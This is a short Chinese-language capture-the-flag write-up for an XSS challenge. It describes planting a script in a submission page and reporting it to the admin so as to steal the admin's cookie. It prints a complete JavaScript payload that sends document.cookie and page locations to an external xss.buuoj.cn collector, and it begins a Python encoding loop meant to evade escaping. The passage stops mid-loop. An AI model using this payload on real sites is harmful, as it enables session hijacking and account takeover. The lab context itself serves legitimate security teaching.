XSS
拿到题目出现如下界面
随便点击测试一下,发现需要注册登录,随即注册一个用户登录(admin用户不能注册)
发现有投稿和反馈这两个页面可以操作
结合标题再看看这两个页面,投稿页面是用来放XSS的,然后在反馈给管理员这样我们就能拿到管理员的cookie,因为这里是内网环境,所以只能去 http://xss.buuoj.cn 注册账号来接收cookie。
经过测试发现提交的内容部分会被转义,可以先将提交的内容用HTML Markup转个码,然后用eval来执行JS代码,而且这里需要用window.location.href来刷新页面自动触发。
xss ="(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=odd1Xf&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
output = ""
for c in xss:
output +=